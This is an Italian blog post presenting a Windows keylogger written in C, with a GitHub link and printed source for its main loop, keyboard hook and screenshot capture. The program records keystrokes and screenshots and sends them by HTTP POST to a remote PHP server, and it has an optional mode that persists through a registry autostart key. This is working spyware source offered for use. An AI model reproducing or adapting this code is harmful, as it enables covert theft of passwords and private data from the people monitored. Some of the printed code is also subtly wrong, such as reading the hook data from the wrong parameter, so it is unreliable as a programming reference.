02/17/2017
Un keylogger scritto completamente in C e compatibile con Windows XP, Windows 7/8/10. Questo keylogger effettua snapshot dello schermo e invia tasti e immagini ad un back end PHP remoto (specificabile nel sorgente).
Ecco il link al repository su github:
https://github.com/gianlucag/Keylogger
E' lo sforzo congiunto mio e di Gaetano di Mitri; per circa 1 settimana abbiamo lavorato a questo progetto.
Ecco le caratteristiche principali del keylogger:
Gli eventi mouse sono opzionali, l'intervallo di cattura dello snapshot è configurabile così come l'URL remoto di invio dei dati.
Il keylogger si basa essenzialmente sulla hook Windows WH_KEYBOARD_LL. Questa hook permette l'intercettazione a basso livello degli eventi tastiera generati dall'utente. Specificando una apposita callback (in questo caso RawInputKeyboard) è possibile dirottare tutti i keystroke verso questa funzione, registrarli in memoria e quindi ripassarli al sistema operativo. I keystroke vengono registrati in un buffer dinamico che cresce in funzione della quantità di dati ricevuti. Ogni tot secondi (configurabili) il keylogger "svuota" il buffer e invia i dati ad un URL specifico, anch'esso configurabile. L'invio è una semplice chiamata HTTP POST effettuata tramite la libreria libCurl. Una hook secondaria (WH_MOUSE_LL) permette invece di ricevere gli eventi del mouse (posizione, click sinistro, destro, doppio click etc..).
Ad intervalli regolari il keylogger provvede inoltre a creare uno snapshot dello schermo per poi inviare i dati al medesimo backend remoto, sempre in modalità HTTP POST.
Analizziamo meglio il codice sorgente:
Nel main() viene creato il thread in ascolto per gli eventi tastiera (funzione Keylogger()). Successivamente il programma si porta in un loop infinito nel quale invia i dati al backend remoto. In questo loop viene creato lo snapshot dello schermo e viene svuotato il buffer dei tasti digitati. I dati sono passati a CURL che a sua volta effettua la connessione HTTP POST al server.
int main(int argn, char* argv[]) { mutex = CreateMutex(NULL, FALSE, NULL); buffer = (char*)malloc(BUFFERLEN); buffer[0] = 0; HANDLE logger; logger = CreateThread(NULL, 0, KeyLogger, NULL, 0, NULL); unsigned int timer = 0; int len; while(1) { if(timer % SNAPSHOT_SEC == 0) { SendScreenshot(); } if(timer % 10 == 0) { // lock WaitForSingleObject(mutex, INFINITE); len = strlen(buffer); // unlock ReleaseMutex(mutex); int res = CurlSend(buffer, len, "text="); if(res) { // lock WaitForSingleObject(mutex, INFINITE); // reset buffer strcpy(buffer, buffer + len); // unlock ReleaseMutex(mutex); } } timer++; Sleep(1000); // 1 sec sleep } return 0; }
Il thread Keylogger() crea la hook WH_KEYBOARD_LL e istruisce il sistema operativo a chiamare la callback RawInputKeyboard() ogni qualvolta l'utente preme un tasto sulla tastiera. La suddetta funzione non fa altro che inserire il keystroke nel buffer. Se il buffer è pieno, viene ri-allocato raddoppiandone la dimensione (NdA. grazie Gaetano!). La callback controlla l'evento WM_KEYDOWN ossia l'evento di pressione tasto; è possibile controllare anche altri eventi quali tasto rilasciato WM_KEYUP, tasto in hold e molti altri
LRESULT CALLBACK RawInputKeyboard(HWND hwnd, int nCode, WPARAM wParam, LPARAM lParam) { if(nCode == WM_KEYDOWN) { KBDLLHOOKSTRUCT *keyboard = (KBDLLHOOKSTRUCT *)wParam; SaveKey(keyboard->vkCode); } return DefWindowProc(hwnd, nCode, wParam, lParam); } DWORD WINAPI KeyLogger() { HINSTANCE hExe = GetModuleHandle(NULL); //hMouseHook = SetWindowsHookEx(WH_MOUSE_LL,(HOOKPROC)RawInputMouse, hExe, 0); hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)RawInputKeyboard, hExe, 0); MSG msg; while (GetMessage(&msg, NULL, 0, 0) != 0) { TranslateMessage(&msg); DispatchMessage(&msg); } return 0; }
Da notare che thread principale e thread keylogger condividono il buffer dati (uno legge e l'altro lo scrive), perciò è stato utilizzato un mutex per gestirne la concorrenza.
La creazione dello snapshot si è rivelata alquanto complessa. In Windows è possibile richiedere lo snapshot dello schermo corrente chiamando la funzione CreateCompatibleBitmap che restituisce un array di byte ABGR (alfa, Blue, Green e Red), fondamentalmente una bitmap non compressa e quindi molto pesante (svariati megabyte per uno schermo 1080p). Inviare lo snapshot raw al server remoto è possibile ma veramente inefficiente. La soluzione è convertire la bitmap in una PNG da pochi kb utilizzando la libreria LodePNG. La libreria è scritta in C e consiste di due soli file .h e .c: prende in ingresso un byte array di valori RGBA, effettua la conversione e scrive la PNG su disco. La libreria è stata modificata in modo tale da non scrivere il file .png su disco ma semplicemente restituire un ulteriore buffer contenente i dati png
BOOL GetBMPScreen(HBITMAP bitmap, HDC bitmapDC, int width, int height, unsigned char** bufferOut, unsigned int* lengthOut) { BOOL Success=FALSE; HDC SurfDC=NULL; HBITMAP OffscrBmp=NULL; HDC OffscrDC=NULL; LPBITMAPINFO lpbi=NULL; LPVOID lpvBits=NULL; HANDLE BmpFile=INVALID_HANDLE_VALUE; BITMAPFILEHEADER bmfh; if ((OffscrBmp = CreateCompatibleBitmap(bitmapDC, width, height)) == NULL) return FALSE; if ((OffscrDC = CreateCompatibleDC(bitmapDC)) == NULL) return FALSE; HBITMAP OldBmp = (HBITMAP)SelectObject(OffscrDC, OffscrBmp); BitBlt(OffscrDC, 0, 0, width, height, bitmapDC, 0, 0, SRCCOPY); lpbi = (LPBITMAPINFO)malloc(sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD)); ZeroMemory(&lpbi->bmiHeader, sizeof(BITMAPINFOHEADER)); lpbi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER); SelectObject(OffscrDC, OldBmp); if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, NULL, lpbi, DIB_RGB_COLORS)) return FALSE; lpvBits = malloc(lpbi->bmiHeader.biSizeImage); if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, lpvBits, lpbi, DIB_RGB_COLORS)) return FALSE; int h = height; int w = width; unsigned scanlineBytes = w * 4; if(scanlineBytes % 4 != 0) scanlineBytes = (scanlineBytes / 4) * 4 + 4; char *png = malloc(w * h * 4); int x,y; for(y = 0; y < h; y++) for(x = 0; x < w; x++) { unsigned bmpos = (h - y - 1) * scanlineBytes + 4 * x; unsigned newpos = 4 * y * w + 4 * x; png[newpos + 0] = ((char *)lpvBits)[bmpos + 2]; //R png[newpos + 1] = ((char *)lpvBits)[bmpos + 1]; //G png[newpos + 2] = ((char *)lpvBits)[bmpos + 0]; //B png[newpos + 3] = 255; //A } free(lpvBits); lodepng_encode32_memory(png, width, height, bufferOut, lengthOut); free(png); return TRUE; }
La modalità auto installer copia l'eseguibile all'interno della cartella di installazione di Windows e crea una chiave di registro per l'avvio automatico. La modalità è disattivata di default, per abilitarla occorre modificare il file sorgente. Nella modalità di default il keylogger si avvia come programma standard ed è ben riconoscibile nel task manager